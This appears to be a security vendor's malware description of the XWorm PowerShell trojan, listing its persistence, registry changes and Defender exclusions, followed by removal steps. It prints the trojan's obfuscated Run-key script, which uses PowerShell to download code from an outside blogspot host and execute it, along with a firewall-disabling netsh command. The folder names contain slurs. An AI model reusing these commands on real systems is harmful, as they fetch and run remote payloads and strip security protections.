Trojan.PS1.XWORM.AB
Windows

Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
2,288,329 bytes
PS1
Yes
18 Apr 2024
Connects to URLs/IPs, Drops files, Deletes files, Modifies system registry, Terminates processes
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following folders:
- %ProgramData%\nipplesnigger → Deletes afterwards
(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
It drops the following files:
- %ProgramData%\nipplesnigger\KAMASUTRAKIM.~!!@#!!!!!!!!!!!!!!!~ → Deletes afterward
(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
It adds the following processes:
- netsh.exe advfirewall set allprofiles state off -ErrorAction Silently Continue
Autostart Technique
This Trojan adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti1 = schtasks /run /tn lexerti1
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)
Other System Modifications
This Trojan adds the following registry entries:
HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
(Default) = C:\IDontExist.dll
It modifies the following registry entries:
HKEY_LOCAL_MACHINE\Software\Microsoft\
CurrentVersion\Policies\System
EnableLUA = 0
(Note: The default value data of the said registry entry is 1.)
Process Termination
This Trojan terminates the following processes if found running in the affected system's memory:
- RegSvcs
- Mshta
- Wscript
- Msbuild
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- https://{BLOCKED}lcleanedcap.blogspot.com////////////////////atom.xml
Other Details
This Trojan adds the following registry keys:
HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}
HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
It does the following:
- Terminates process containing .bat.exe in its process name
- Deletes files in the following folders:
- %Application Data%
- %Public%
- %User Startup%
- with the following extensions:
- .bat
- .ps1
- .lnk
- .bat.exe
- .cmd
- Deletes files in the following folders:
- %Public%
- %Application Data%
- %ProgramData%
- with the following extension:
- .vbs
- Exclude the following in Windows Defender scans:
- Extensions:
- .ppam
- .xls
- .docx
- .vbs
- .js
- Drives:
- C:\
- D:\
- E:\
- Processes:
- explorer.exe
- kernel32.dll
- aspnet_compiler.exe
- cvtres.exe
- CasPol.exe
- csc.exe
- Msbuild.exe
- ilasm.exe
- InstallUtil.exe
- jsc.exe
- powershell.exe
- rundll32.exe
- conhost.exe
- Csript.exe
- mshta.exe
- cmd.exe
- DefenderisasuckingAntivirus
- wscript.exe
- IP Address:
- 127.0.0.1
- Disable Windows Defender
- It bypasses the Antimalware Scan Interface (AMSI).
(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
It adds the following scheduled tasks:
- Task Name: lexerti1
- Trigger: Once {Current Date plus 402 minutes}
- Action: Mshta {Script}
SOLUTION
9.800
19.314.03
02 May 2024
19.315.00
03 May 2024
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restore this modified registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\Software\Microsoft\CurrentVersion\Policies\System
- EnableLUA = 0
- EnableLUA = 0
Step 4
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
- (Default) = C:\IDontExist.dll
- (Default) = C:\IDontExist.dll
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- lexerti1 = schtasks /run /tn lexerti1
- lexerti1 = schtasks /run /tn lexerti1
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)
- lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)
Step 5
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
- In HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}
Step 6
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
- lexerti1 - mshta {Script}
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks. - Locate each {Task Name} values listed above in the Name column.
- Right-click on the said file(s) with the aforementioned value.
- Click on Properties. In the Run field, check for the listed {Task to be run}.
- If the strings match the list above, delete the task.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel, click Task Scheduler Library.
- In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
- In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
- If the said string is found, delete the task.
Step 7
Scan your computer with your Trend Micro product to delete files detected as Trojan.PS1.XWORM.AB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Did this description help? Tell us how we did.